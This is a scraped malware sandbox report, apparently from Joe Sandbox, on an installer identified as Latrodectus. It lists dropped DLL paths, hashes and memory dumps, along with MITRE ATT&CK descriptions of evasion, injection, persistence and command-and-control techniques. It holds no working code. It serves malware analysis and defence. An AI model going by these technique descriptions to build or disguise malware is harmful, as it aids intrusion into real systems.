Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 000000018008457B
_CxxThrowException.MSVCRT ref: 000000018008459B
_CxxThrowException.MSVCRT ref: 00000001800845BE
_CxxThrowException.MSVCRT ref: 00000001800845E1

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ExceptionThrow
String ID:
API String ID: 432778473-0
Opcode ID: 114c5287cdb026fffe76d3c7f9949e070cfa45e7e663d84f565ee682834d51f6
Instruction ID: 38ed7ffc1fc9f375285380fd3d7b3dc2d70f7ac5fc31fc0dcffbf51ad022335a
Opcode Fuzzy Hash: 114c5287cdb026fffe76d3c7f9949e070cfa45e7e663d84f565ee682834d51f6
Instruction Fuzzy Hash: 9D0184B1650A88C9E79DFF33A8063FB6212BBD87C0F18C835B9954B65BDE25C21A4700

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ad.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Latrodectus

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

:wtfbbq (copy)

C:\Config.Msi\5fd5a2.rbs

C:\Users\user\AppData\Local\Temp\MSID3EB.tmp

C:\Users\user\AppData\Local\Temp\MSID498.tmp

C:\Users\user\AppData\Local\Temp\MSID4B9.tmp

C:\Users\user\AppData\Local\Temp\MSID4D9.tmp

C:\Users\user\AppData\Local\Temp\MSID509.tmp

C:\Users\user\AppData\Local\Temp\MSID529.tmp

C:\Users\user\AppData\Local\sharepoint\360total.dll

C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll

C:\Users\user\AppData\Roaming\Custom_update\update_data.dat

C:\Windows\Installer\5fd5a1.msi

Windows Analysis Report
ad.msi

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre